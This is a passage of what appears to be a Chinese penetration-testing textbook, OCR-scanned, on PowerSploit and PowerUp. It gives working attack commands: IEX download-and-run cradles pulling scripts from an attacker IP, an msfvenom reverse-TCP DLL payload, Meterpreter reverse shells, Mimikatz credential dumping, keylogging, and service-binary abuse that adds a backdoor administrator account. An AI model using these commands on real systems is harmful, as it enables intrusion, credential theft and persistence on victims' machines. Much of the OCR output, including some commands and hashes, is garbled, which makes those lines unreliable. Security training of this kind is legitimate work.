｜川/fl26J.Z /2 jJrr~GG J.) 

bZ C ：斤］ 261.2 ,aprr~GGJ.) I unOJ<G -Z JIG ncoqc -h1-0CG22 !D 2fl3S -Z JIG rrcoqc ＜辛P“l > -1:0 1.cc 

图6-17 进程注入

回到MSF监听界面下发现己经反弹成功了，如图6-18所示。

血I exploit( ) > run 

I J Stai ted HTIPS reverse handler on https : //192 .168. 31. 247: 4444 
J Starting the payload handler. 

I' I https://192.168.31.247 : 4444 handling request from 192.168.31.22; (UUID: k22lon。3) Staging x86 p 
ayload (958531 bytes) 
; I I怆terpreter session i opened (192.168.31.247:4444 > 192.168.31.22:51573) at 2017-06-22 08:18:1 
5 . 0480 

画画四皿;n;i-J

图6-18 反弹成功
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6.2.2.2 lnvoke-Dlllnjection 

下面使用Code Execution模块下的另一个脚本Invoke-DLLI可ection，它是一个

DLL注入的脚本。

同理还是先下载脚本，输入以下命令，如图6- 19所示。

IEX (New-Object Net.WebClient).DownloadSt「ing （” http: // 192.168.31.247/Powe「Sploit/

CodeE xecution/Invoke -Dllinjection . psl”) 

PS C：吐lc.c••o 、＂ lnotcc"> I EX <H剧， －Object Net .lfohCHent) .Dmm loadStr;ny ('’http,//192 .168. 31 .24?/ Pa.,e .. s 1,1。 h/CodcExccutfon／：“υo
k川自·DlllnJCCt<。n .pol " > 

IPS c ＇＇＂＂＂＇＇＂、＂＇＂＂＂•时”

图6 - 19 下载Invoke-Dlllnjection

然后使用以下命令在Kali中生成一个DLL注入脚本，如图6-20所示。

「『1sfvenom -p windows /mete「P「ete「／「eve「se_tcp lhost=192 . 168. 31. 247 lpo「t=4444 -f dll 

-o /va「／www/html/test . dll

# msfvenom p '11ndo>1s/meterpreter/reverse tcp l饥os\=192.168.31.247 lport=4444 
f d\l ·O /va t八·MW/html/test .dl l 

No µlat form vias seleιted, choosing Msf :Module: :Platform: :Windows from the payload 
No Arch selected, se\ect111g Arch: x86 from the payload 
No encoder or badchars specified, outputting raw payload 
Payload size: 333 bytes 
Frnal size of d\l file: 5120 bytes 
Saved as: /var /\.,.,M/html/tes t. d\ l 

··. ·, 

图6-20 生成DLL注入脚本

把生成的test.dll上传到目标服务器的C盘后，就能启动一个新的进程进行DLL注

入，这样可以使注入更加隐蔽，使用以下命令新建一个名为notepad.exe的隐藏进程。

Start - P 「ocessc: \windows \ system32\notepad . exe -WindowStyle Hidden 

然后使用以下命令进行注入，如图6-2 1所示。

Invoke - Dlllnjection -P「ocessID 2θ00 -Dll c:\test . dll 

图6-21 DLL脚本注入进程

现在返回MSF监听界面，再使用reverse_tcp模块进行反弹，发现己经反弹成功了，
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如图6-22所示。

旦旦工 exploit( ) > run 

[ •] Started reverse TCP handler on 192 .168. 31. 247: 4444 
['J Starting the payload handler ... 
['] Sending stage (957487 bytes) to lg2.168.31.22 
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［＇］ ”eterp 「eter session 3 opened (192 .168.31. 247: 4444 -> 192 .168 .31.22: 51576) 
1 -0400 

阻旦旦旦且［ ＞口

图6-22 反弹成功

6.2.2.3 Invoke-Po 「tscan 

Invoke-Portscan是Recon模块下的一个脚本，主要用于端口扫描，使用起来也比

较简单。同样先使用以下命令下载脚本，如图6-23所示。

IEX (New - Object Net.WebClient).DownloadSt「ing （” http://192 .168 . 3 1.247/ Power、Sploit

/Recon/ Invoke-Po「tscan .psl”）

IPS C：、llse1·s\shutee1-> JEX <Heu-Object Het.\lebC!ient) .Do1mlaadStl'ing(”http: //192 .168. 31.2471Po11e1·Splo it1Recon/lnuoke-Po1·ts l 
:can.psi") I 
IPS C：吐Jsers \shutee1-> I 

图6- 23 下载Invoke-Portscan

然后使用以下命令进行扫描，结果如图6-24所示。

Invoke-Po「ts can -Hosts 192 .168 . 31. 1 , 192 .168. 31. 247 -Ports ” 80,22,3389 ” 

图6-24 进行扫描

6.2 .2.4 lnvoke-Mimikatz 

Invoke-Mimikatz是Exfiltration模块下的一个脚本，它的功能不用说大家肯定也都
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知道了。 同样先使用以下命令下载脚本，如图6-25所示。

IEX (New-Object Net.WebClient).DownloadSt「ing （” http://192.168.31.247/Powe「Sploit/

Ex卡ilt「ation/Invoke-Mimikatz.psl”）

|…s c：咄sεm、lmtcer
e-Mir、ikatz.ps1 ”〉

PS C：吐Jsers 、slmtee1•)

图6-25 下载Invoke-Mimikatz

然后执行以下命令即可， 结果如图6-26所示。

Invoke-Mimikatz -Dumpe「eds

PS C:'\llse E‘ s'\s lmte e l' ) I nvokc - Minik,1t z - Dul'lpCl'eds 

. 1111111111. l'linikatz 2 .1 (x86 > built on Hoυ10 2016 15:30:4日
.1111 A 1111, ＂自 La Uie ，自 ＇· ， 自noul'"

1111 / '1111 ／椅’‘”
II目 ＇／ 1111 Benjan in DELPY gentilkiui ( benJanin~gentilkiui . con > 
’目IIυ1111 ’ http: //blog. gent ilkiui . con/ninikatz （。ε.eo>

， ” II 阻四”， " iεh 2日 nodules 幡娓娓／

nil'likatz(po11e1•ohcll> II sekm•lo a :: log。npaSS\IO l'dS

Authe ntication Id : 0 ; ?4131? 〈日0000日日日 ＝日自由Mfc5>

Scss ion 
Use r Hal'le 
Do Plain 

: Int c Pact iυe f ν。n 1 

阳幽

s hutec l' 
llIH?- X86 
\llH7- X86 
201 '7/6 /5 22 : 10:52 
s - 1- s - 21 - 3?0620?S0?- 350&101e12-20s211s619 - rn01 

nsυ ： 

£0001自000] c .. cclentiall<eys 
提 NIL”： 31d6cf e臼d16ae931b?3c59d?c0c089c0

’‘ S H自 1 : da39a3ce5c6b4b0d3255bfef95601890afd80?09 
【 0000日白白3 J P1•imwy 
’‘ UsePnanc : s hut ce l' 
” Donain : \llH?- X86 

提 NIL”
" SH自1

图6-26 抓取Hsah

31d6cfc0d16ac9 31 b?3c S9<17e0c 089c 0 
<la39a3ee5e6Mb0d3255bf ef95601890af d80？日9

这里要注意一点，和使用Mimikatz工具一样，内置的Mimikatz在使用时同样需要

管理员权限。

6.2.2.5 Get-Keyst「okes

Get-Keystrokes是Exfiltration模块下的一个脚本，用于键盘记录，功能相当强大，

不仅有键盘输入记录， 甚至能记录鼠标的点击情况，还能记录详细的时间，实战时
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可以直接放入后台运行。 同样先使用以下命令下载脚本，如图6-27所示。

IEX (New-Object 
Net.WebClient).DownloadSt「ing （” http://192.168 . 31 . 247/Powe「Sploi t/Exfil t 「at ion/Get 
-Keyst「okes.psl”）

l…s c＇咀…｝$
cyotrck川co. poi ”>
PS C ＇吐’~e r：：、dmtcc oo)

图6-27 下载Get-Keystrokes

使用以下命令开启键盘记录，这里输入“fwyily＇’这几个字母简单测试一下，如

图6-28所示。

Get-Keyst「okes -LogPath c :\testl.txt 

图6-28 抓取键盘记录

6.2 .3 Powe「Up 攻击模块讲解

I J ＇－』 飞
I - .-- I 
l • • J 
、 、J , 

Power Up是Privesc模块下的一个脚本，功能相当强大，拥有众多用来寻找目标主

机Windows服务漏洞进行提权的实用脚本。

通常，在Windows下可以通过内核漏洞来提升权限，但是，我们常常会碰到无法

通过内核漏洞提权所处服务器的情况，这个时候就需要利用脆弱的Windows服务提权，

或者利用常见的系统服务，通过其继承的系统权限来完成提权等，此框架可以在内

核提权行不通的时候，帮助我们寻找服务器的脆弱点，进而通过脆弱点实现提权的

目的。

首先来查看PowerUp下都有哪些模块，如图6-29所示。
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rnd result - 89 h>ts 

Line 515 : funct i o n st met 
Line 529: The ’ struct ’ func℃i。n facilitates the creati。n 。f structs entirely in 
Line 552 . A hash table 。f fields. Use the ’ field ' helper funct玉。n t。 ease

Line 604 : P。werShell purists may disagree with the naming of this functi。n but 
Line 742 : fun c t ion Get－”。difiablePa℃h I 
Line 94 0 : functi。n Get-CurrentUserTokenGr。upSid I 
Line 1017: fun c t ion Add-ServiceDacl ( 
Line 1135 : fu nct l。n Set-ServiceBinPath ( 
Line 1253 : funct ion Test-ServiceDaclPermi'3i。n I 
Line 1431 : funct i。n Get-ServiceUnqu。ted { 
Line 1473: $。ut I Add-M凹nber N。tepr。perty ’ AbuseFunction ’”Wri te- ServiceBinary 
Line 1482 : functi。n Get-M。difiableServiceFile I 
Line 1528 : $Out I Add-Member Notepr。perty ’AbuseFunct立。n ＇”Install ServiceBinary -N 
Line 1536 : functi。n Get -M。difiableService { 
Line 1572 · SOut I Add-Member N。teproperty ’ AbuseFuncti。n…Invoke-ServiceAbuse -Name ’ S 
Line 1579 · function Get-ServiceDetail { 
Line 164 4 : functi。n Inv。k e ServiceAbus e { 
L主ne 1648 J>buses a funct立。n the current user has c。nfigurati。n rights 。n in 。主der

Line 1660 : and the Set ServiceBinPath functi。n 主s used t。 set the binary (binPath) f。x
Line 1868 · function Write-ServiceBinary { 
Line 2039 : function Install-ServiceBinary ( 
Line 2200 : functi。n Rest。re-ServiceBinary I 
Line 2286 : func乞忌。n Find-Pr。cessDLLHijack ( 
Line 2435 : funct i。n Find-PathDLLHijack { 
Line 2480 : function Wr主te-H立 jackDll ( 
Line 2562 : function l。cal · Inv。ke-PatchDll { 
Line 2695 . functi。n Get-Reg立stryAlwaysinstallElevated { 
Line 2754 : functi。n Get RegistryAut。L。q。n { 
Line 2日05 . functi。n Get-M。difiableRegistryAut。Run { 
L主ne 2670 : functi。n Get-M。difiableScheduledTaskFile { 
Line 2936 . function Get-UnattendedinstallFile { 
Line 2979 : functi。n Get-WebC。nfig { 
Line 3163 . function Get Applicati。nH。st { 
Line 3326 : func℃L。n Get-SiteListPassw。rd { 
Line 3333 : P。werSpl。it Funct L。n Get-SiteListPassword 
Line 3345 : function that takes advantage 。E McAfee ' s static key encrypti。n . Any decrypt 
Line 3400 · functi。n L。cal : Get -DecryptedSitelistPassw。rd { 
Line 3450 : functi。n L。cal : Get Si t elistFieldo { 
Line 3 51 9 functi。n Ge t-CachedGPPPaosw。rd { 
Line 3525 P。werSploi t Functi。n Get-CachedGPPPassw。rd

Line 3568 . functi。n l。cal . Get - DecryptedCpasswo rd ( 
Line 3605 : functi。n l。cal : Get-GPPinnerFields { 
Line 3722 functi。n Write-User且ddMSI { 
Line 3727 · Thi• function c an be us ed t。 abuoe Get-RegiotryAlwayoinstallElevated 
L主ne 37 57 · funct1。n Inv。ke-AllChecks { 
Line 3761 Run• all functi。ns that che ck f。z vari。us Wind。ws privilege escalation 。pp。z
Line 3661. S _ I Add-Member N。tepr。perty ’ AbuoeFunct1on ' SAbuseString 
Line 367 4 $Out I Add-Member Notepr。perty ' AbuseFunction ’ ”Write-Us e rAddMSI " 
Line 3953 $ Functi。nDefiniti。ns = @I 

Line 4008 : STypeo - S Functi。nDe finiti。ns I Add-Win32Type -Module SM。dule -Namespace ’ p。werUp . Na

图6-29 Powe「Up模块

由于这里是在本机操作的，可以直接输入Import-Module命令加载PowerUp脚本模

块，如图6-30所示。

PS C: '-> I mpo i•t - Mo du le • '-.Po 1·ie i•U p . ps 1 I 
PS C: ＇＞ 圄 ｜

图6-30 加载脚本模块

输入命令时可以通过Tab键来自动补全，如果要查看各个模块的详细说明，可以
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输入get-help [cmdlet] -full命令查看，比如get-Help Invoke-AllChecks - full，如图6-31

所示。

图6-31 查看模块的详细说明

下面对PowerUp常用的模块进行介绍。

1. lnvoke-AllChecks 

该模块会自动执行PowerUp下所有的脚本来检查 目标主机， 输出以下命令即可执

行该模块，如图6-32所示。

PS C:\> Invoke-AllChecks 
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PS C二、＞ lovol<e －肉 llChecko

［•］到noniog lnvoke- RllCJrncko 
< '1 Cm•rent uocr .;l>«•dy ha: loco! adn;oiotraHυE pr i vdcg"'’ 

E” I Check mg fo> un<1uotod ocruice patl>0 ... 

Seru 主ceH•ne ' 2315SofeSuc 
P.-th ’ C''1'rogr«n F豆 loo 、、2345Soft、231SPCSafe、234SSafeSψc.cxe

”。dif主ahlePath ·【！CP。”、iooiono 程A1>1,endDato/RddSuhdh ector＼，，”。diffoblcPo乞h •C' \: I dent HyRcfc>'cncc =HT AUTJIORl TY、Au在heotic
oted Uoc 缸 o)

Sta> tHane . Loca!Syotcn 
份huocPunctrnn Udte-Sc’” iceB•nm y - Hane ’ 231SSafeSuc' - Path <HiJackPath) 
CanRccta>-t Tr>m 

S0> u iceH.,ne ' 2315SafeSvc 
Path . C：、P>-og>'an Files、2315Soft、231SPCSafe 、231SS«fcSvc .exe 
”。difiahlePoth .。《Pe.-niss i。ns•Syctcn.ObJcCt [I ；”。d ifiablePath •C· 、： I dcntityRefc ＞~nce 缸”T AUT”。RITNluthcntic.1ted Uce>'c) 
St«> tHanc . Loca!Sy.Cen 
AhucePunction ' tlr 王雹e-Se rv.ceBinary - Hane '234SSafeSvc ’ -Poth <” ijackPath)
CanResta>'t ' True 

图6-32 检测系统漏洞

2. Find-PathDLLHijack 

该模块用于检查当前%PATH%的哪些目录是用户可以写入的，输入以下命令即

可执行该模块，如图6-33所示。

PS C: \> Find-Pathdllhijack 

PS c· 、＞ p孟n<l-PatM!lhiJack

回堕m理m回 ”。dif立ablePoth I dent卫tyRefcrence %PATJI% 

SZSBEgssss aFVBurrpurEur 
o
o
o
o
a
o
o

。

e
a

zttttttttt aaaaaaaaaa 
··9 

.. 

、

.. 

22BEESBEBa t
-‘
t
-Ltte

-Ltt 

2223S$5235 
·
A
B
Z
i
z
z
i

卫

2
z
z
z

annannnnnn 
、
A
B
i
z
i
z
a
i
i
i

nnnnnnnnnn dddddddddd 
咄
咄
咄
咄
咄
咄
咄
咄
咄
咄

“
同
M
m
M
H
M
”
M
”
“
”
“
冈
M同
M
阿
M”

:
111111111 

TTITTYTTTT LLLLLLLLLL I
--

111111i 

uuuuuuuuuu BBBBBBBaas 
E 

.. 
-. -. ,,’

1 

‘
，
、

t

．‘ 

＠

g

。
。

adnnda nnEen

” 

、
巫
ι
千

b
b

.. 
、A 

1PJ1j1 
、
＼
、
、
、
、

22222222 33333333 nnnnnnnn 
e
e
e
e
e
a

审

g
e

t

．
也

t
t

．
也
．
‘

t

．‘ 

sg

=
ssgss 

”3
H
y
u
2
u
3
u

萝

M
萝
”
萝
“

2 

h
M〕
毡
」
毡
」
吨
咀
咀
咀
咀

s
$
s
s

巳

s
s
g
s
E

,,,

1

’’’,’’ 

．
‘
飞
．
‘
．
‘
‘
，
、

ι
‘
．
‘
‘
飞

。

o
o
o
e
o
o

。

o
o

dddddddddd nnnnnnnnnn xi2zzi212·A JJJJJJJJJJ 
吼
叫

U
U
咄
咄
咄
咄
咄
咄

U
U

--
E·E·

--········-··· 

俨
h
w户i
u俨i
w俨
L
W
P
M俨
U
户L
V俨EM
F
L
V俨i
u

”22

?”

zv 

gtttt nnnnn 
。
。
。

o
o

ccccc dddaud aaaaa eeeee RRRRR ,,,,

, 

sssss eeeee ttttt uuuuu bbbbb 
l
·

－

1

、
A
l
i

－
－

A
1
·
A

Ir

-
vlrlur

-
ur 

a
t
a

”
t
a
t
n
t

内
在

ctctctctct i
a
i
o
z
Z

肉
、
‘

n
i
a

urdurdBdadurd eacacameaea nenBnen

e
ne 

eReReReReR G
<
G
<
G
<
G
<
G
<

%SystenRo。＂＂、cycten32、”墓nd ... 
此νcte.,Root% 、cyctcn32、Uind . 
C' '\lindouc"ycten32 
c ＇、tlindouc "yctcn32 
c ＇、”indouc
c ＇、”rndouc
c ＇、、.\lindous、Systen32 、.＼Jhen

c. 、”＝。d。＇＂、.Systen32、.llbcn
c. 、υindo us、Systen32 、.＼Jindou . .. 
c· 、Uindouc、Systen32,Uind。u ••• 

图6-33 检查系统的可写目录

3. Get-ApplicationHost 

该模块可利用系统上的applicationHost.config文件恢复加密过的应用池和虚拟目

录的密码，执行该模块的命令如下所示。

PS C: \>get-ApplicationHost 
PS C: \>get-ApplicationHost I Fo「mat-Table -Autosize ＃列表显示

4. Get-RegistryAlwayslnstallElevated 

该模块用于检查AlwayslnstallElevated注册表项是否被设置，如果己被设置，意

/ J ＇－－ 飞
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味着MSI文件是以SYSTEM权限运行的， 执行该模块的命令如下所示。

PS C: \>Get-Regist「yAlwaysinstallElevated

5. Get-RegistryAutologon 

该模块用于检视~Winlogin注册表的AutoAdminLogon项有没有被设置，可查询默

认的用户名和密码，执行该模块的命令如下所示。

PS C:\ > Get-Regist「yAutologon

6. Get-ServiceDetail 

该模块用于返回某服务的信息，输入以下命令即可执行该模块， 如图6-34所示。

PS C:\ > Get -ServiceDetail - Se「viceName Dhcp ＃获取 DHCP 服务的详细信息

图6-34 获取DHCP服务的详细信息

7. Get-Se「viceF i lePermission

该模块用于检查当前用户能够在哪些服务的目录写入相关联的可执行文件，我

们可通过这些文件实现提权，输入以下命令即可执行该模块，如图6-35所示。

PS C: \ > Get-Se「viceFilePermiss ion

I PS C: \> Get-Se 

图6-35 检查可写入的权限

8. Test-ServiceDaclPe「mission

该模块用于检查所有可用的服务，并尝试对这些打开的服务进行修改， 如果可

修改，则返回该服务对象，执行该模块的命令如下所示。
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PS C :\>Test-Se「v iceDaclPermission

9 . Get-Se「viceUnquote d 

该模块用于检查服务路径，返回包含空格但是不带引号的服务路径。

此处利用了Windows的一个逻辑漏洞，即当文件包含空格时， Windows API会被

解释为两个路径，并将这两个文件同时执行，有时可能会造成权限的提升，比如

C:\program fi les\hello.exe会被解释为C :\program.exe和C:\program files\hello.exe o 输入

以下命令即可执行该模块，如图6-36所示。

PS C:\>Get -Servi ceUnquoted 

”-’‘ .. ~－H;:llC队F，蛐毡’ar.l!IU”’.... . .”，，

erv iccNa nc : 2345SafcSvc 
Pa也h : C: '1'• ogran P总 leo 、2345Soft 、2345PCSafe、2345SafeSυC .C)(C 
。“f iableP,,th .。｛ Pe rn io o ion o • A ppcndDa ta/AddSubd irec to ry：”。difiablePat h •C ：、； ldcntityRcfcrcnce • NT AUT”。RITY唱uthent ic 

,,.cd Users) 
阻tartHane · LocalSysten 
同buseFunct ion zυr>te-ScrυiceDinary - Ha ne '2345SafeSvc' -Pat h (” ijockPath> 
ICanRest.wt : hue 

erυiceNane • 2345SafeSvc 
Path : C ：、Progr,m Piles、2345Soft 、234SPCS,,fe、2345SafeSvc .exc 
[Mod 1f iablePath : e<Perniss ion s • Systen.ObJect [I ；”。d1fiablePat h缸C：、； I dent ityRef erence ~NτAUTllORIIY、Authentic ated Use>' s> 
Sta rtNane : LocalSys t e n 
肉’>Use Function • Udte-Sc rvice Bin,wy -Hane ’ 2345SafeSυc ’ －Path <” ijackPath> 

,,nRcstart : T>'ue 

图6-36 检查空格路径的漏洞

10. Get-Unattended lnsta llFi le 

该模块用于检查以下路径，查找是否存在这些文件，因为这些文件里可能含有

部署凭据。这些文件包括：

• C:\sysprep\sysprep.xml 

• C:\sysprep\sysprep.inf 

• C:\sysprep.inf 

• C:\ Windows\Panther\Unattended.xml 

• C:\ Windows\Panther\Unattend\Unattended.xml 

• C:\ Windows\Panther\Unattend.xml 

• C:\Windows\Panther\Unattend\Unattend.xml 

• C:\Windows\System32\Sysprep\unattend.xml 
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• C:\Windows\System32\Sysprep\Panther\unattend.xml 

执行该模块的命令如下所示。

PS C:\> Get-UnattendedinstallFile 

11. Get-ModifiableRegistryAutoRun 

该模块用于检查开机自启的应用程序路径和注册表键值，然后返回当前用户可

修改的程序路径。被检查的注册表键值有以下这些：

• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 

• HKLM\So仕飞;vare\Microsoft\Windows\CurrentVersion\RunOnce

• HKLM\SOFTW ARE\ Wow6432Node\Microsoft\ Windows\CurrentVersion\Run 

• HKLM\SOFTW ARE\ Wow6432Node\Microsoft\ Windows\CurrentVersion\Run 

Once 

• HKLM\SOFTW ARE\Microsoft\ W indows\Current Version \Run Service 

• HKLM\SOFTW ARE\Microsoft\ Windows\CurrentVersion\RunOnceService 

• HKLM\SOFTW ARE\ W ow64 3 2N ode\Microsoft\ W indows\Current Version \Run 

Service 

• HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run 

OnceService 

输入以下命令即可执行模块，如图6-37所示。

PS C :\>Get-ModifiableRegist「yAutoRun

PS C ＇、＞ Get －”。d>ffobleRc910 E驴”OutoRun
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图6-37 检查应用程序的路径和注册表键值

12. Get-ModifiableScheduledTaskFile 

该模块用于返回当前用户能够修改的计划任务程序的名称和路径，输入以下命
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令即可执行该模块，如图6-38所示。

PS C:\>Get-ModifiableScheduledTaskFile 

PS C"> C"t －”。d if'"" le Sc Ju,.lu led fa口kF>lc
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图6-38 检查计划任务程序

13. Get-Webconfig 

该模块用于返回当前服务器上web.config文件中的数据库连接字符串的明文，输

入以下命令即可执行该模块，如图6-39所示。

PS C :\>get-webcon手ig

噩噩画画画画··
图6-39 检查web.config中的数据库

14. lnvoke-ServiceAbuse 

该模块通过修改服务来添加用户到指定组，并可以通过设置－cmd参数触发添加

用户的自定义命令，执行该模块的命令如下所示。

PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC ＃ 添加默认账号
PS C:\> Invoke - ServiceAbuse -ServiceName VulnSVC - U se「Name ”TESTLAB\john ” ＃ 指定添

加的域账号

PS C:\ > Invoke-Se「viceAbuse -Se「viceName VulnSVC -User、Name backdoor、－ Password passwo「d

-LocalGroup ”Administrato「5 ” ＃指定添加用户，用户密码以及添加的用户组。
PS C:\ > Invoke-Se「viceAbuse -ServiceName VulnSVC -Command "net ... ＂＃ 自定义执行命令
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15. Restore-ServiceBinary 

该模块用于恢复服务的可执行文件到原始目录， 执行该模块的命令如下所示。

PS C:\ > Resto「e-Se俨viceBina「y -ServiceName Vul 『iSVC

16. Test-ServiceDaclPermission 

该模块用于检查某个用户是否在服务中有自由访问控制的权限，结果会返回true

或false ， 执行该模块的命令如下所示。

PS C: \ > Restor、e - se「viceBina r、y -ServiceName VulnSVC 

17. Write-HijackDll 

该模块用于输出一个自定义命令并且能够自我删除的bat文件至Ll $env :Temp\ 

debug.bat，并输出一个能够启动这个bat文件的DLL。

18. Write-UserAddMSI 

该模块用于生成一个安装文件，运行这个安装文件后会弹出添加用户的对话框，

输入以下命令即可执行该模块，如图6-40所示。

PS C: \> W「ite-Use「AddMS I 

~； ＇.~； i ;'"' OutputPat 1 

u ~ c··自dd.n~ i

图6-40 生成MSI文件

19. Write-ServiceBinary 

该模块用于预编译C＃服务的可执行文件，默认创建一个管理员账号， 可通过

Command定制自己的命令，执行该模块的命令如下所示。

PSC:\ >Write-Se「viceBina叩 － ServiceName VulnSVC ＃ 添加默认账号

PSC : \ >Write-Se「viceBina「y -Se r viceName VulnSVC -Use「Name ”TESTLAB\john" ＃ 指定添加

域账号

PS C ： ＼ ＞圳「ite-Se「viceBina 「y - Se「viceName VulnSVC - User、Name backdoor、－ Passwo「d

Passwo「d123! ＃指定添加用户，用户密码以及添加的用户组

PS C:\> Write-Servi ceBinarγ － ServiceName VulnSVC -Command ” net ...”＃ 自定义执行命令
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20. lnstall-ServiceBinary 

该模块通过Write-ServiceBinary写一个C＃的服务用来添加用户，执行该模块的命

令如下所示。

PS C: \> Install-Se「viceBina「y -Se rviceName DHCP 
PS C: \> Install-Se「viceBina「y -S e「viceName VulnSVC -Us e「Name "TESTLAB\ john" 
PS C:\>Install Se「viceBina「y -Se「viceName VulnSVC - Use「Name backdoor、－ Passwo「d

Passwo俨d123!

PS C:\> Install-Se「viceBinar、y -Se 「viceName VulnSVC -Command "net ...” 

Write-ServiceB inary与Install-ServiceBinary的不同是，前者生成可执行文件，后者

直接安装服务。

6.2.4 PowerUp 攻击模块实战演练

基于篇幅，很多PowerUp模块不能一一介绍，本小节只针对性地介绍几个常用模

块的实战应用 。

才实战 1

在此实战中 ， 用到了Invoke-AllChecks 、 Install- ServiceBinary 、 Get-ServiceUnquoted 、

Test-ServiceDac!Permission 、 Restore-ServiceBinary这几个模块。

先加载Powerup脚本，然后执行Invoke-AllChecks，脚本将进行所有的检查。

将PowerUp脚本上传至目标服务器，再从本地执行该脚本，如图6-41所示。

meternr<?ter > getuid I 
Server usernamg: ·~1rn-57TJ48561MT 飞 shutge r I 
meteroreter > upload /root/PowerUp.ps1ι ：＼ I 
l': uploading · /root/Powerllp.ps1 -> c : \ I 
l ~ uploaded : /root/PowerUp.ps1 -> c:\\PowerUp.ps1 I 

图6-41 上传脚本文件

使用IEX在内存中加载此脚本，执行以下命令，脚本将进行所有的检查，如图6-42

所示。

Power吨Shell. exe - exec bypass "IEX (New-Object Net. WebClient). DownloadString 

( 'C: \Power吨Jp. psl'); Invoke-AllChecks ” 
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S C''> PoυcrShdl.cxe -exec bypass ” E EX <Heυ－ObJect Net.llebClient>.D。”nloadSt»ing （’ C'\l'oue1Up.1>s1 ’＞； I n飞，oke-AllChccks "

四EOl.m.il旦ill豆豆IJ.~•π冒冒冒羽;;;;i ：••＇“”’回哩罩
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[.OJ Checking fo1 unquoted sc.-vice paths .•. 
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ath ' C' \l'rog,.an Files、.2345S。ft '234SPCSafe、.2345SafeSυc.exe
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ated Users) 
tM·tNane • L。calSystc伺
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图6-42 执行Invoke-AllChecks检查

也可以在CMD环境下使用以下命令绕过执行该脚本，如图6-43所示。

powe「shell. exe -exec bypass -Comma nd 飞｛Impo「t-Module . \ Powe「Up.psl ; Invoke­

AllChec ks }” 
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图6-43 通过Invoke-AllChecks检查漏洞
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可以看到， PowerUp列出了所有可能存在问题的服务，并在AbuseFunction中直接

给出了利用方式。这里可分为两个部分，第一部分通过Get-ServiceUnquoted模块（利

用Windows的一个逻辑漏洞，即当文件包含空格时，WindowsAPI会解释为两个路径，

并将这两个文件同时执行，有些时候可能会造成权限的提升）检测出“OrnniServ ”

叮rnniServer＂叮rnniServers”叫ulnerable Service”四个服务存在此逻辑漏洞，但都

没有写入权限，所以并不能被利用于提权。第二部分通过Test- ServiceDaclPerrnission 

模块（检查所有可用的服务，井尝试对这些打开的服务进行修改，如果可修改，则

存在此漏洞）检测出当前用户可以在“OrnniServers＂服务的目录写入相关联的可执

行文件，并且通过这些文件进行提权。

知识点： 漏洞利用原理。 Windows系统服务文件在操作系统启动时会加载执行，

并且在后台调用可执行文件。比如在每次重启系统时， Java升级程序都会检测Oracle

网站是否有新版Java程序。 而类似Java程序之类的系统服务程序，在加载时往往都是

运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行

文件具有可写的权限，那么就可以将其替换成我们的恶意可执行文件，从而随着系

统启动服务获得系统权限。

这里可以使用Icacls (Windows内建的一个工具，用于检查对有漏洞的目录是否

有写入的权限〉验证PowerUp脚本检测是否正确，先来测试“ C:\Program Files\ 

Executable.exe ”“ C:\Program Files\Comrnon Files\rnicrosoft shared\OrnniServ.exe ” 

“ C:\Program Files\Comrnon Files\A Subfolder\OrnniServer.exe”这三个文件夹，均提示
权限不够，如图6-44所示。

图6-44 检测可写入权限（ 1)

再测试“C:\Program Files\Program Folder\A Subfolder\OrnniServers.exe”文件，如

图6-45所示。

lCd飞 1 飞卡！号：＇ '" ' L~M .,,, ·'"·'''' ’叫1 '"' S• ，：， .ο ： .J. •\~l ＇＇＇＂豆＂＇ 。！川 ,, • "" I 

| \\\ ::\P"q ＇川. : 1•一才仁＇ '" ""' f •·1 才】川”二，，，，，.，＼ 1】「飞 •·m••Lιf J正＇＇卢 6 E 川：＇＇＂＂＇＂＇ 11(F1 I 

图6-45 检测可写入权限（2)

i :“UT'1••Pl · \•C、＇：（川（：）（ ιl I 
81111 Till 飞＇ J＂＂＂＇～1 『 at 小＂＇＇ ( l ）（卡） ｜
?1.'lL T l:i 飞 1;.cc. ，～ ll ）（拦飞）

白 JI.• 57r J.j七气b !Ml 飞飞岳飞、1 (l)(F) 
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从图6-45可以看出，“Eve可one”用户对这个文件有完全的控制权， 就是说所有

用户都能修改这个文件夹。下面对图6-45的参数进行说明 ， “M”代表修改，“F”代

表完全控制，“CI”代表从属容器将继承访问控制项，“OI”代表从属文件将继承访

问控制项。这意味着“Everyone”对该目录有读、写，删除其下的文件，删除其下的

子目录的权限。

在这里我们使用图6-43中AbuseFunction那里已经给出的具体操作方式，执行以下

下命令。

powe俨shell -nop -exec bypass IEX (New - Object Net . WebClient) . DownloadSt「ing

（’ c: /Powe「Up.psl' );Insta ll-Se「viceBina 「y -Se 「viceName 'OmniSe「ve「5 ’ “ User、Name

shutee「－ Passwo「d Password123! 

知识点： Insta I 1-S ervi ceB inary模块的功能是通过Wri饨，ServiceBinary写一个用于添

加用户的C＃服务，如图6-46所示。

C: \>po向e r♀he11 -n。p -exec bypass IE' (lie..; Obj 舍、 t !let 白ebC『 icnt) [·o .. n1oadStrrng('c:/Po,;erUp.psl ' ), 
Insta11-Se r viceBinar y -S8rvicel·lame 'OmniSer··1er·s ’ UserlL;me shuteer -Pass.、。 Id PdSS•勺。 rd123 I 
po比er sheH nop －＜？入ec bypass IE ：.：、（ ll号·－·：·bi 令ζt ilet ,.,9tr•:11令nc) l•oιn1oo.dSt 『 in9 （’ ζ ，／ P。也9 rUr- ps1 '), Inst 
a11-S<?rνHeBinar y -Ser viζel·lame ’。mniServers' -llser!·Jame shuteer -Pase.民 or d Pass .. ;o r dl 23 r 

5号 r·:1ζρflame S<?IV iζePatl' Comm.:,ncJ B.＜ζh upP"tlr 

。mniSer·ve1·s C: \P r。gram Files not user -Us号 r •: : Wro~ran: Files 

图6-46 添加用户

之后当管理员运行该服务时，会添加我们的账号。现在手动停止该服务并再次

启动该服务，就会添加我们的用户，如图6-47所示。

图6-47 停止服务

从图6-47中可以看到，提示拒绝访问，那是因为当前的权限是一个受限的User

权限，所以只能等待管理员运行该服务或者重启系统。这里因为是虚拟机，所以直

接输入以下命令强制重启，如图6-48所示。
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f c: \ >s川川 I -f -t 0 I 
sl1ut dO'布们 -r-f-tO 

'C: \> I[ 192.168.172.149 - Meterpreter s叫on 1 clo制 R臼son: Died ~ 

图6-48 强制重启

现在切换到目标机界面，即可看到己经关机重启了，如图6-49所示。

图6-49 系统重启

重启以后，系统会自动创建一个新的用户shuteer，密码是Password123 ！，如图6-50
